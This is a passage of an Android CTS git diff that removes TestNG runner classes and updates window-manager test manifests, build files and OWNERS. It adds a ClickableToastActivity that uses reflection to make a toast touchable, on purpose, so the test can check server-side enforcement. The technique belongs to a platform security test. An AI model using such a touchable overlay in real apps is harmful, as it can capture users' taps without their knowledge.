- this.hasFailure = hasFailure;
- this.failures = Collections.unmodifiableMap(new LinkedHashMap<>(failures));
- }
-
- public boolean hasFailure() {
- return hasFailure;
- }
-
- public Map<String, Throwable> getFailures() {
- return failures;
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
deleted file mode 100644
index d9bf037..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.util.Log;
-
-import org.junit.runner.Description;
-import org.junit.runner.Runner;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runner.manipulation.Filterable;
-import org.junit.runner.manipulation.NoTestsRemainException;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunNotifier;
-
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.HashSet;
-import java.util.Map;
-
-/**
- * A {@link Runner} that can TestNG tests.
- *
- * <p>Implementation note: Avoid extending ParentRunner since that also has
- * logic to handle BeforeClass/AfterClass and other junit-specific functionality
- * that would be invalid for TestNG.</p>
- */
-class TestNgRunner extends Runner implements Filterable {
-
- private static final boolean DEBUG = false;
-
- private Description mDescription;
- /** Class name for debugging. */
- private String mClassName;
- /** Don't include the same method names twice. */
- private HashSet<String> mMethodSet = new HashSet<>();
-
- /**
- * @param testClass the test class to run
- */
- TestNgRunner(Class<?> testClass) {
- mDescription = generateTestNgDescription(testClass);
- mClassName = testClass.getName();
- }
-
- // Runner implementation
- @Override
- public Description getDescription() {
- return mDescription;
- }
-
- // Runner implementation
- @Override
- public int testCount() {
- if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
- return 0;
- }
-
- // We always follow a flat Parent->Leaf hierarchy, so no recursion necessary.
- return getDescription().testCount();
- }
-
- // Filterable implementation
- @Override
- public void filter(Filter filter) throws NoTestsRemainException {
- mDescription = filterDescription(mDescription, filter);
-
- if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
- if (DEBUG) {
- Log.d("TestNgRunner",
- "Filtering has removed all tests :( for class " + mClassName);
- }
- throw new NoTestsRemainException();
- }
-
- if (DEBUG) {
- Log.d("TestNgRunner",
- "Filtering has retained " + testCount() + " tests for class " + mClassName);
- }
- }
-
- // Filterable implementation
- @Override
- public void run(RunNotifier notifier) {
- if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
- // Nothing to do.
- return;
- }
-
- for (Description child : getDescription().getChildren()) {
- String className = child.getClassName();
- String methodName = child.getMethodName();
-
- Class<?> klass;
- try {
- klass = Class.forName(className, false, Thread.currentThread().getContextClassLoader());
- } catch (ClassNotFoundException e) {
- throw new AssertionError(e);
- }
-
- notifier.fireTestStarted(child);
-
- // Avoid looking at all the methods by just using the string method name.
- SingleTestNgTestExecutor.Result result = SingleTestNgTestExecutor.execute(klass, methodName);
- if (result.hasFailure()) {
- // TODO: get the error messages from testng somehow.
- notifier.fireTestFailure(new Failure(child, extractException(result.getFailures())));
- }
-
- notifier.fireTestFinished(child);
- // TODO: Check @Test(enabled=false) and invoke #fireTestIgnored instead.
- }
- }
-
- private Throwable extractException(Map<String, Throwable> failures) {
- if (failures.isEmpty()) {
- return new AssertionError();
- }
- if (failures.size() == 1) {
- return failures.values().iterator().next();
- }
-
- StringBuilder errorMessage = new StringBuilder("========== Multiple Failures ==========");
- for (Map.Entry<String, Throwable> failureEntry : failures.entrySet()) {
- errorMessage.append("\n\n=== "). append(failureEntry.getKey()).append(" ===\n");
- Throwable throwable = failureEntry.getValue();
- errorMessage
- .append(throwable.getClass()).append(": ")
- .append(throwable.getMessage());
- for (StackTraceElement e : throwable.getStackTrace()) {
- if (e.getClassName().equals(getClass().getName())) {
- break;
- }
- errorMessage.append("\n at ").append(e);
- }
- }
- errorMessage.append("\n=======================================\n\n");
- return new AssertionError(errorMessage.toString());
- }
-
-
- /**
- * Recursively (preorder traversal) apply the filter to all the descriptions.
- *
- * @return null if the filter rejects the whole tree.
- */
- private static Description filterDescription(Description desc, Filter filter) {
- if (!filter.shouldRun(desc)) { // XX: Does the filter itself do the recursion?
- return null;
- }
-
- Description newDesc = desc.childlessCopy();
-
- // Return leafs.
- if (!descriptionHasChildren(desc)) {
- return newDesc;
- }
-
- // Filter all subtrees, only copying them if the filter accepts them.
- for (Description child : desc.getChildren()) {
- Description filteredChild = filterDescription(child, filter);
-
- if (filteredChild != null) {
- newDesc.addChild(filteredChild);
- }
- }
-
- return newDesc;
- }
-
- private Description generateTestNgDescription(Class<?> cls) {
- // Add the overall class description as the parent.
- Description parent = Description.createSuiteDescription(cls);
-
- if (DEBUG) {
- Log.d("TestNgRunner", "Generating TestNg Description for class " + cls.getName());
- }
-
- // Add each test method as a child.
- for (Method m : cls.getDeclaredMethods()) {
-
- // Filter to only 'public void' signatures.
- if ((m.getModifiers() & Modifier.PUBLIC) == 0) {
- continue;
- }
-
- if (!m.getReturnType().equals(Void.TYPE)) {
- continue;
- }
-
- // Note that TestNG methods may actually have parameters
- // (e.g. with @DataProvider) which TestNG will populate itself.
-
- // Add [Class, MethodName] as a Description leaf node.
- String name = m.getName();
-
- if (!mMethodSet.add(name)) {
- // Overloaded methods have the same name, don't add them twice.
- if (DEBUG) {
- Log.d("TestNgRunner", "Already added child " + cls.getName() + "#" + name);
- }
- continue;
- }
-
- Description child = Description.createTestDescription(cls, name);
-
- parent.addChild(child);
-
- if (DEBUG) {
- Log.d("TestNgRunner", "Add child " + cls.getName() + "#" + name);
- }
- }
-
- return parent;
- }
-
- private static boolean descriptionHasChildren(Description desc) {
- // Note: Although "desc.isTest()" is equivalent to "!desc.getChildren().isEmpty()"
- // we add the pre-requisite 2 extra null checks to avoid throwing NPEs.
- return desc != null && desc.getChildren() != null && !desc.getChildren().isEmpty();
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
deleted file mode 100644
index 2f084b3..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import java.lang.reflect.Method;
-
-import org.junit.runner.Runner;
-import org.junit.runners.model.RunnerBuilder;
-
-import org.testng.annotations.Test;
-
-/**
- * A {@link RunnerBuilder} that can handle TestNG tests.
- */
-public class TestNgRunnerBuilder extends RunnerBuilder {
- // Returns a TestNG runner for this class, only if it is a class
- // annotated with testng's @Test or has any methods with @Test in it.
- @Override
- public Runner runnerForClass(Class<?> testClass) {
- if (isTestNgTestClass(testClass)) {
- return new TestNgRunner(testClass);
- }
-
- return null;
- }
-
- private static boolean isTestNgTestClass(Class<?> cls) {
- // TestNG test is either marked @Test at the class
- if (cls.getAnnotation(Test.class) != null) {
- return true;
- }
-
- // Or It's marked @Test at the method level
- for (Method m : cls.getDeclaredMethods()) {
- if (m.getAnnotation(Test.class) != null) {
- return true;
- }
- }
-
- return false;
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
deleted file mode 100644
index fbbb684..0000000
--- a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.runner;
-
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.util.Log;
-import org.junit.runner.Description;
-
-/**
- * A {@link RunListener} for CrashParser. Dumps the test name to logs when
- * tests start.
- */
-public class CrashParserRunListener extends InstrumentationRunListener {
-
- private static final String TAG = "CrashParserRunListener";
-
- // Constant must be kept in sync with CrashUtils.java
- public static final String NEW_TEST_ALERT = "New test starting with name: ";
-
- @Override
- public void testStarted(Description description) throws Exception {
- Log.i(TAG, NEW_TEST_ALERT + description.toString());
- }
-
-}
diff --git a/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java
deleted file mode 100644
index 1f9a939..0000000
--- a/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java
+++ /dev/null
@@ -1,262 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.runner;
-
-import android.app.ActivityManager;
-import android.app.Instrumentation;
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.text.TextUtils;
-import android.util.Log;
-
-import junit.framework.TestCase;
-
-import org.junit.runner.Description;
-import org.junit.runner.notification.RunListener;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.lang.Class;
-import java.lang.ReflectiveOperationException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
-import java.net.Authenticator;
-import java.net.CookieHandler;
-import java.net.ResponseCache;
-import java.text.DateFormat;
-import java.util.Locale;
-import java.util.Properties;
-import java.util.TimeZone;
-
-import javax.net.ssl.HostnameVerifier;
-import javax.net.ssl.HttpsURLConnection;
-import javax.net.ssl.SSLSocketFactory;
-
-/**
- * A {@link RunListener} for CTS. Sets the system properties necessary for many
- * core tests to run. This is needed because there are some core tests that need
- * writing access to the file system.
- * Finally, we add a means to free memory allocated by a TestCase after its
- * execution.
- */
-public class CtsTestRunListener extends InstrumentationRunListener {
-
- private static final String TAG = "CtsTestRunListener";
-
- private TestEnvironment mEnvironment;
- private Class<?> lastClass;
-
- @Override
- public void testRunStarted(Description description) throws Exception {
- mEnvironment = new TestEnvironment(getInstrumentation().getTargetContext());
-
- // We might want to move this to /sdcard, if is is mounted/writable.
- File cacheDir = getInstrumentation().getTargetContext().getCacheDir();
- System.setProperty("java.io.tmpdir", cacheDir.getAbsolutePath());
-
- // attempt to disable keyguard, if current test has permission to do so
- // TODO: move this to a better place, such as InstrumentationTestRunner
- // ?
- if (getInstrumentation().getContext().checkCallingOrSelfPermission(
- android.Manifest.permission.DISABLE_KEYGUARD)
- == PackageManager.PERMISSION_GRANTED) {
- Log.i(TAG, "Disabling keyguard");
- KeyguardManager keyguardManager =
- (KeyguardManager) getInstrumentation().getContext().getSystemService(
- Context.KEYGUARD_SERVICE);
- keyguardManager.newKeyguardLock("cts").disableKeyguard();
- } else {
- Log.i(TAG, "Test lacks permission to disable keyguard. " +
- "UI based tests may fail if keyguard is up");
- }
- }
-
- @Override
- public void testStarted(Description description) throws Exception {
- if (description.getTestClass() != lastClass) {
- lastClass = description.getTestClass();
- printMemory(description.getTestClass());
- }
-
- mEnvironment.reset();
- }
-
- @Override
- public void testFinished(Description description) {
- // no way to implement this in JUnit4...
- // offending test cases that need this logic should probably be cleaned
- // up individually
- // if (test instanceof TestCase) {
- // cleanup((TestCase) test);
- // }
- }
-
- /**
- * Dumps some memory info.
- */
- private void printMemory(Class<?> testClass) {
- Runtime runtime = Runtime.getRuntime();
-
- long total = runtime.totalMemory();
- long free = runtime.freeMemory();
- long used = total - free;
-
- Log.d(TAG, "Total memory : " + total);
- Log.d(TAG, "Used memory : " + used);
- Log.d(TAG, "Free memory : " + free);
-
- String tempdir = System.getProperty("java.io.tmpdir", "");
- // TODO: Remove these extra Logs added to debug a specific timeout problem.
- Log.d(TAG, "java.io.tmpdir is:" + tempdir);
-
- if (!TextUtils.isEmpty(tempdir)) {
- String[] commands = {"df", tempdir};
- BufferedReader in = null;
- try {
- Log.d(TAG, "About to .exec df");
- Process proc = runtime.exec(commands);
- Log.d(TAG, ".exec returned");
- in = new BufferedReader(new InputStreamReader(proc.getInputStream()));
- Log.d(TAG, "Stream reader created");
- String line;
- while ((line = in.readLine()) != null) {
- Log.d(TAG, line);
- }
- } catch (IOException e) {
- Log.d(TAG, "Exception: " + e.toString());
- // Well, we tried
- } finally {
- Log.d(TAG, "In finally");
- if (in != null) {
- try {
- in.close();
- } catch (IOException e) {
- // Meh
- }
- }
- }
- }
-
- Log.d(TAG, "Now executing : " + testClass.getName());
- }
-
- /**
- * Nulls all non-static reference fields in the given test class. This
- * method helps us with those test classes that don't have an explicit
- * tearDown() method. Normally the garbage collector should take care of
- * everything, but since JUnit keeps references to all test cases, a little
- * help might be a good idea.
- */
- private void cleanup(TestCase test) {
- Class<?> clazz = test.getClass();
-
- while (clazz != TestCase.class) {
- Field[] fields = clazz.getDeclaredFields();
- for (int i = 0; i < fields.length; i++) {
- Field f = fields[i];
- if (!f.getType().isPrimitive() &&
- !Modifier.isStatic(f.getModifiers())) {
- try {
- f.setAccessible(true);
- f.set(test, null);
- } catch (Exception ignored) {
- // Nothing we can do about it.
- }
- }
- }
-
- clazz = clazz.getSuperclass();
- }
- }
-
- // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
- static class TestEnvironment {
- private static final Field sDateFormatIs24HourField;
- static {
- try {
- Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
- sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
- } catch (ReflectiveOperationException e) {
- throw new AssertionError("Missing DateFormat.is24Hour", e);
- }
- }
-
- private final Locale mDefaultLocale;
- private final TimeZone mDefaultTimeZone;
- private final HostnameVerifier mHostnameVerifier;
- private final SSLSocketFactory mSslSocketFactory;
- private final Properties mProperties = new Properties();
- private final Boolean mDefaultIs24Hour;
-
- TestEnvironment(Context context) {
- mDefaultLocale = Locale.getDefault();
- mDefaultTimeZone = TimeZone.getDefault();
- mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
- mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
-
- mProperties.setProperty("user.home", "");
- mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
- // The CDD mandates that devices that support WiFi are the only ones that will have
- // multicast.
- PackageManager pm = context.getPackageManager();
- mProperties.setProperty("android.cts.device.multicast",
- Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
- mDefaultIs24Hour = getDateFormatIs24Hour();
-
- // There are tests in libcore that should be disabled for low ram devices. They can't
- // access ActivityManager to call isLowRamDevice, but can read system properties.
- ActivityManager activityManager =
- (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
- mProperties.setProperty("android.cts.device.lowram",
- Boolean.toString(activityManager.isLowRamDevice()));
- }
-
- void reset() {
- System.setProperties(null);
- System.setProperties(mProperties);
- Locale.setDefault(mDefaultLocale);
- TimeZone.setDefault(mDefaultTimeZone);
- Authenticator.setDefault(null);
- CookieHandler.setDefault(null);
- ResponseCache.setDefault(null);
- HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
- HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
- setDateFormatIs24Hour(mDefaultIs24Hour);
- }
-
- private static Boolean getDateFormatIs24Hour() {
- try {
- return (Boolean) sDateFormatIs24HourField.get(null);
- } catch (ReflectiveOperationException e) {
- throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
- }
- }
-
- private static void setDateFormatIs24Hour(Boolean value) {
- try {
- sDateFormatIs24HourField.set(null, value);
- } catch (ReflectiveOperationException e) {
- throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
- }
- }
- }
-
-}
diff --git a/tests/filesystem/AndroidTest.xml b/tests/filesystem/AndroidTest.xml
index 3ab61fe..2612765 100644
--- a/tests/filesystem/AndroidTest.xml
+++ b/tests/filesystem/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFileSystemTestCases.apk" />
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index 902b754..d8264bd 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index a674c86..7ae8d88 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -114,6 +114,8 @@
<activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$CallbackTrackingActivity"/>
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondCallbackTrackingActivity"/>
+
<activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentCallbackTrackingActivity"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
@@ -150,6 +152,18 @@
<activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SlowActivity"/>
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$NoDisplayActivity"
+ android:theme="@android:style/Theme.NoDisplay" />
+
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$DifferentAffinityActivity"
+ android:taskAffinity="nobody.but.DifferentAffinityActivity" />
+
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionSourceActivity"
+ android:theme="@style/window_activity_transitions" />
+
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
+ android:theme="@style/window_activity_transitions" />
+
<activity android:name="android.server.wm.StartActivityTests$TestActivity2" />
<activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity" />
@@ -233,6 +247,10 @@
android:launchMode="standard"
android:taskAffinity=".t1"/>
<activity
+ android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+ android:relinquishTaskIdentity="true"
+ android:taskAffinity=".t1"/>
+ <activity
android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
android:allowTaskReparenting="true"
android:launchMode="standard"
@@ -264,6 +282,9 @@
android:name="android.server.wm.intent.Activities$LauncherActivity"
android:documentLaunchMode="always"
android:launchMode="singleInstance"/>
+ <activity
+ android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
+ android:relinquishTaskIdentity="true"/>
<service
android:name="android.server.wm.TestLogService"
@@ -295,7 +316,7 @@
<activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity" />
<activity android:name="android.app.Activity"/>
- <activity android:name="android.server.wm.DragDropActivity"
+ <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
android:screenOrientation="locked"
android:turnScreenOn="true"
android:showWhenLocked="true"
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index fed61d7..4302bf9 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -37,6 +37,8 @@
<option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
<option name="test-file-name" value="CtsDeviceTranslucentTestApp26.apk" />
<option name="test-file-name" value="CtsMockInputMethod.apk" />
+ <option name="test-file-name" value="CtsDeviceServicesTestShareUidAppA.apk" />
+ <option name="test-file-name" value="CtsDeviceServicesTestShareUidAppB.apk" />
</target_preparer>
<!-- Some older apk cannot be installed as instant, so we force them full mode -->
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/framework/base/windowmanager/OWNERS b/tests/framework/base/windowmanager/OWNERS
index 74ad95d..2efb8fc 100644
--- a/tests/framework/base/windowmanager/OWNERS
+++ b/tests/framework/base/windowmanager/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 316125
include ../OWNERS
+louischang@google.com
+riddlehsu@google.com
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 034e587..192a814 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -16,13 +16,11 @@
name: "CtsAlertWindowService",
defaults: ["cts_support_defaults"],
- static_libs: [
- "cts-wm-app-base",
- "compatibility-device-util-axt",
+ srcs: [
+ "src/**/*.java",
+ ":cts-wm-components-base",
],
- srcs: ["src/**/*.java"],
-
sdk_version: "test_current",
test_suites: [
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index 189c3fe..16a59be 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -18,7 +18,8 @@
static_libs: [
"cts-wm-app-base",
- "androidx.legacy_legacy-support-v4",
+ // Used by InputMethodTestActivity for ImeAwareEditText.
+ "compatibility-device-util-axt",
],
srcs: [
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 67cafd4..5c41314 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -247,6 +247,11 @@
android:exported="true"
android:theme="@style/NoPreview"
/>
+ <activity android:name=".UnresponsiveActivity"
+ android:process=".unresponsive_activity_process"
+ android:exported="true"
+ android:theme="@style/NoPreview"
+ />
<activity android:name=".TranslucentTopActivity"
android:process=".top_process"
android:exported="true"
@@ -367,10 +372,6 @@
android:theme="@style/SplashscreenTheme"
android:exported="true" />
-
- <activity android:name=".SwipeRefreshActivity"
- android:exported="true" />
-
<activity android:name=".NoHistoryActivity"
android:noHistory="true"
android:exported="true" />
@@ -533,8 +534,8 @@
</intent-filter>
</service>
- <receiver
- android:name=".ToastReceiver"
+ <activity
+ android:name=".ClickableToastActivity"
android:exported="true" />
</application>
</manifest>
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index 6e2a820..c6a36d1 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -39,7 +39,6 @@
</style>
<style name="OpaqueTheme">
<item name="android:windowIsTranslucent">false</item>
- <item name="android:windowSwipeToDismiss">false</item>
<item name="android:windowIsFloating">false</item>
</style>
<style name="NoPreview">
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java
new file mode 100644
index 0000000..663f33f
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.ClickableToastActivity.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ClickableToastActivity.ACTION_TOAST_TAP_DETECTED;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ClickableToastActivity extends Activity {
+ private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+ private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Handler handler = new Handler();
+ Toast toast = getToast(this);
+ long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+ handler.post(new DetectToastRunnable(getApplicationContext(), toast.getView(), deadline,
+ handler));
+ toast.show();
+ }
+
+ private Toast getToast(Context context) {
+ Context applicationContext = context.getApplicationContext();
+ View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+ view.setOnTouchListener((v, event) -> {
+ applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+ return false;
+ });
+ Toast toast = getClickableToast(context);
+ toast.setView(view);
+ toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+ toast.setDuration(Toast.LENGTH_LONG);
+ return toast;
+ }
+
+ /**
+ * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+ * test enforcement on the server-side.
+ */
+ private Toast getClickableToast(Context context) {
+ try {
+ Toast toast = new Toast(context);
+ Field tnField = Toast.class.getDeclaredField("mTN");
+ tnField.setAccessible(true);
+ Object tnObject = tnField.get(toast);
+ Field paramsField = Class.forName(
+ Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+ paramsField.setAccessible(true);
+ LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+ params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+ return toast;
+ } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+ throw new IllegalStateException("Toast reflection failed", e);
+ }
+ }
+
+ private static class DetectToastRunnable implements Runnable {
+ private final Context mContext;
+ private final WeakReference<View> mToastViewRef;
+ private final long mDeadline;
+ private final Handler mHandler;
+
+ private DetectToastRunnable(
+ Context applicationContext, View toastView, long deadline, Handler handler) {
+ mContext = applicationContext;
+ mToastViewRef = new WeakReference<>(toastView);
+ mDeadline = deadline;
+ mHandler = handler;
+ }
+
+ @Override
+ public void run() {
+ View toastView = mToastViewRef.get();
+ if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+ return;
+ }
+ if (toastView.getParent() != null) {
+ mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+ return;
+ }
+ mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 734b482..664543f 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -120,7 +120,6 @@
public static final ComponentName SINGLE_TASK_ACTIVITY = component("SingleTaskActivity");
public static final ComponentName SLOW_CREATE_ACTIVITY = component("SlowCreateActivity");
public static final ComponentName SPLASHSCREEN_ACTIVITY = component("SplashscreenActivity");
- public static final ComponentName SWIPE_REFRESH_ACTIVITY = component("SwipeRefreshActivity");
public static final ComponentName TEST_ACTIVITY = component("TestActivity");
public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
public static final ComponentName TOP_ACTIVITY = component("TopActivity");
@@ -152,6 +151,7 @@
component("TurnScreenOnSingleTaskActivity");
public static final ComponentName TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
component("TurnScreenOnWithRelayoutActivity");
